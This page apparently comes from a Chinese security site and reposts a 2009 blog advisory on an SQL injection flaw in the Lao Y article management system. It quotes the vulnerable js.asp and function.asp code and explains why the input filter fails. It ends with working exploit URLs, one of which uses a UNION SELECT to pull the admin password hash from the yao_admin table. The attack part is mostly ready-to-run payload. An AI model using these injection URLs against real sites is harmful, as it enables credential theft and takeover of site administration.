首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
老Y文章管理系统注射0day
来源:http://hi.baidu.com/isbx/blog 作者:isbx 发布时间:2009-06-25  
漏洞等级:中等
漏洞说明:

漏洞出现在js.asp中,我们首先看源代码。


Code:

If CheckStr(Request("ClassNo")) <> "" then
ClassNo = split(CheckStr(Request("ClassNo")),"|")
'这里是获取变量利用checkstr过滤,但是感觉好像没起作用。然后分成数组
on error resume next
NClassID = LaoYRequest(ClassNo(0))
NClassID1 = LaoYRequest(ClassNo(1))
'获取数组1,与数组2进行整形过滤。这里没有漏洞
End if

num = LaoYRequest(request.querystring("num"))'这里num必须>=1
.......
set rs=server.createObject("Adodb.recordset")
sql = "Select top "& num &" ID,Title,TitleFontColor,Author,ClassID,DateAndTime,Hits,IsTop,IsHot from Yao_Article Where yn = 0"

        If NclassID<>"" and NclassID1="" then
                If Yao_MyID(NclassID)="0" then
                        SQL=SQL&" and ClassID="&NclassID&""
                else
                        MyID = Replace(""&Yao_MyID(NclassID)&"","|",",")
                        SQL=SQL&" and ClassID in ("&MyID&")"
                End if
        elseif NclassID<>"" and NclassID1<>"" then
                MyID = Replace(""&Request("ClassNo")&"","|",",")
                SQL=SQL&" and ClassID in ("&MyID&")"
                '这里出现的问题classno并没做其他过滤就写入到查询
        End if
        
select case topType
        case "new" sql=sql&" order by DateAndTime desc,ID desc"
        case "hot" sql=sql&" order by hits desc,ID desc"
        case "IsHot" sql=sql&" and IsHot = 1 order by ID desc"
end select

set rs = conn.execute(sql)
if rs.bof and rs.eof then
str=str+"没有符合条件的文章"
........


-------------------------------

function.asp


Code:
function CheckStr(str)
    CheckStr=replace(replace(replace(replace(str,"<","<"),">",">"),chr(13),"")," ","")
        CheckStr=replace(replace(replace(replace(CheckStr,"'",""),"and",""),"insert",""),"set","")
    CheckStr=replace(replace(replace(replace(CheckStr,"select",""),"update",""),"delete",""),chr(34),"")
        CheckStr=replace(replace(replace(replace(replace(CheckStr,"*",""),"=",""),"or",""),"mid",""),"count","")
end function


利用代码:
js.asp?num=1&ClassNo=1|1|1[SQL]
js.asp?num=1&ClassNo=1|1|1) union select 1,admin_pass,3,4,5,6,7,8,9 from yao_admin where id in(1 ####获取密码代码


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·乘风多用户PHP统计系统 v4.0 注
·FF3的《moz-binding: url》未限
·第一回:DOM沙盒 vs 跨網站腳本
·Php168的一个本地文件包含漏洞
·ToolTalk rpc.ttdbserverd _tt_i
·安全模式下exec等函数安全隐患
·QQmail Multiple Xss Vulnerabil
·DirectShow 0DAY第二波警告
·黑洞的ASP上线系统的一个漏洞
·Sun One WebServer 6.1 JSP Sour
·Joomla! HTTP头跨站脚本执行漏洞
·风讯 4.0 SP7 getshell 0day
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved